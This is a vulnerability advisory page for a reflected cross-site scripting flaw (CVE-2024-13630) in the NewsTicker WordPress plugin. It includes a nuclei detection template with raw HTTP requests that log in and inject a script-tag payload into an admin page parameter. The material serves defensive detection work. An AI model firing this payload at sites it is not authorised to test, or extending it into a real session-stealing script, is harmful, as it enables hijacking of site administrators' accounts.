Browse / CVEs / CVE-2024-13630
CVE-2024-13630· mahinsha / newsticker· CWE-79
NewsTicker <= 1.0 - Reflected Cross-Site Scripting
NewsTicker WordPress plugin v1.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
Impact
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
Fix
Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/admin.php?page=update_news&news_ticker_id=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>")Run it with nuclei: nuclei -id CVE-2024-13630 -u <target>
The full check
id: CVE-2024-13630
info:
name: NewsTicker <= 1.0 - Reflected Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
NewsTicker WordPress plugin v1.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
impact: |
Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
remediation: |
Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
reference:
- https://wpscan.com/vulnerability/15eed487-01ac-4c1e-88f8-26cfa036fb54/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13630
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13630
cwe-id: CWE-79
epss-score: 0.00601
epss-percentile: 0.491
cpe: cpe:2.3:a:mahinsha:newsticker:1.0:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: mahinsha
product: newsticker
shodan-query: http.component:"WordPress"
fofa-query: body="news-ticker"
tags: cve,cve2024,wordpress,wpscan,wp,wp-plugin,newsticker,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, 'wordpress_logged_in')
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=update_news&news_ticker_id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>")
condition: andReferences
- https://wpscan.com/vulnerability/15eed487-01ac-4c1e-88f8-26cfa036fb54/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13630
Use this check only on systems you are authorised to test. Where the data comes from